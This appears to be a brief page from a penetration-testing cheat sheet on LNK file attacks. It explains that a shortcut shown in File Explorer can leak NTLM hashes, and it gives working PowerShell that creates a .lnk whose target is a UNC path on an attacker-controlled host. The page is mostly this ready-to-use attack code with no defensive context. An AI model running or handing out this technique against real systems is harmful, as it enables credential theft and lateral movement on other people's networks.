LNK File Attacks
An LNK file attack is a way to get hashes by having a file visible in file explorer. The link path is set to a non-existent png on the attacker machine - trying to access this is what passes the hash.
$objShell = New-Object -ComObject WScript.shell
$lnk = $objShell.CreateShortcut("C:\test.lnk")
$lnk.TargetPath = "\\[lhost]\@test.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Test"
$lnk.HotKey = "Ctrl+Alt+T"
$lnk.Save()Netexec
Other options
Last updated